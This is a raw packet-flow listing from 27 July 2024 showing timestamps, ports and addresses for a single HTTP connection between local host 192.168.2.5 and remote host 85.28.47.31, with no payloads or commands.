Jul 27, 2024 12:01:14.969890118 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.969901085 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.969913960 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.969918966 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.969939947 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.969954014 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.969983101 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.969994068 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.970019102 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.970035076 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.970042944 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.970052958 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.970063925 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.970078945 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.970096111 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.970282078 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.970304966 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.970319986 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.970335007 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.970335960 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.970351934 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.970361948 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.970361948 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.970370054 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.970386982 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.970401049 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.970416069 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.970698118 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.970714092 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.970727921 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.970742941 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.970748901 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.970757961 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.970771074 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.970774889 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.970799923 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.970823050 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.971000910 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.971016884 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.971030951 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.971052885 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.971084118 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.971084118 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.971101046 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.971116066 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.971129894 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.971131086 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.971147060 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.971163988 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.971165895 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.971184969 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.971203089 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.971576929 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.971599102 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.971635103 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.971662998 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.971726894 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.971743107 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.971765041 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.971779108 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.971781015 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.971796989 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.971806049 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.971806049 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.971813917 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.971831083 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.971831083 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.971846104 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.971851110 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.971862078 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.971870899 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.971875906 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.971885920 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.971893072 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.971904993 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.971910000 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.971924067 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.971945047 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.971967936 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.972601891 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.972618103 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.972631931 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.972647905 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.972665071 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.972673893 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.972680092 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.972690105 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.972696066 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.972709894 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.972711086 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.972726107 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.972735882 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.972742081 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.972754955 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.972758055 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.972774029 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.972783089 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.972789049 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.972805023 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.972807884 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.972820997 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.972826958 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.972860098 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.972860098 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.972882986 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.972896099 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.973498106 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.973512888 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.973526001 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.973541975 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.973556042 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.973556995 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.973572016 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.973577976 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.973587036 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.973597050 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.973603964 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.973619938 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.973628998 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.973634958 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.973649979 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.973649979 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.973664999 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.973670959 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.973680019 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.973704100 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.973716974 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.974263906 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.974278927 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.974293947 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.974308968 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.974323988 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.974333048 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.974339962 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.974349022 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.974354982 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.974370956 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.974370956 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.974386930 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.974400997 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.974401951 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.974417925 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.974421024 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.974433899 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.974441051 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.974448919 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.974463940 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.974481106 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.974483967 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.974483967 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.974509954 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.974524021 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.975208998 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.975224972 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.975239038 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.975255013 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.975267887 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.975269079 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.975285053 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.975290060 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.975301027 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.975312948 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.975316048 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.975323915 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.975332022 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.975334883 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.975346088 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.975363016 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.975378990 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.975394964 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.975405931 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.975405931 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.975410938 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.975426912 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.975438118 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.975439072 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.975462914 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.976026058 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.976042986 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.976058006 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.976073027 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.976077080 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.976088047 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.976098061 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.976133108 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.062789917 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.062817097 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.062834024 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.062849998 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.062866926 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.062866926 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.062881947 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.062899113 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.062952042 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.062952995 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.062952995 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.062997103 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.063013077 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.063028097 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.063041925 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.063045025 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.063070059 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.063070059 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.063087940 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.063183069 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.063199043 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.063215017 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.063224077 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.063235998 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.063245058 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.063251972 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.063266039 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.063281059 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.063298941 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.063368082 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.063412905 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.063460112 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.063477039 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.063492060 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.063503981 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.063508034 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.063529968 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.063529968 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.063560963 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.063735008 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.063750982 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.063766956 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.063781977 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.063785076 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.063797951 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.063805103 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.063812017 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.063821077 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.063838959 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.063863993 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.063863993 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.064047098 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.064063072 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.064076900 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.064085007 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.064091921 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.064105034 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.064107895 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.064121008 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.064132929 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.064140081 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.064151049 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.064162016 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.064166069 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.064182997 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.064181089 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.064198017 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.064208031 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.064208031 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.064214945 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.064228058 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.064232111 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.064246893 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.064271927 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.064271927 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.064724922 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.064740896 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.064755917 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.064769983 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.064790010 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.064815044 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.064832926 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.064872026 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.064888000 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.064903975 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.064913988 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.064934015 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.064944983 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.064951897 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.064964056 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.064980984 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.064990997 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.064996958 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.065006018 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.065016031 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.065035105 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.065038919 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.065038919 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.065059900 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.065073967 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.065557003 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.065584898 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.065601110 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.065613031 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.065618038 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.065629959 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.065634012 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.065649033 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.065654993 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.065654993 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.065665007 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.065675974 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.065681934 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.065697908 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.065696001 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.065712929 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.065721989 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.065721989 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.065730095 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.065741062 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.065746069 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.065762043 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.065761089 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.065778017 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.065787077 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.065787077 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.065809965 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.065829039 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.066395044 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.066411018 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.066426039 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.066441059 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.066446066 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.066454887 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.066467047 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.066469908 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.066487074 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.066495895 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.066512108 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.066512108 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.066528082 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.066538095 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.066538095 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.066541910 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.066556931 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.066562891 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.066585064 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.066586018 CEST	80	49704	85.28.47.31	192.168.2.5
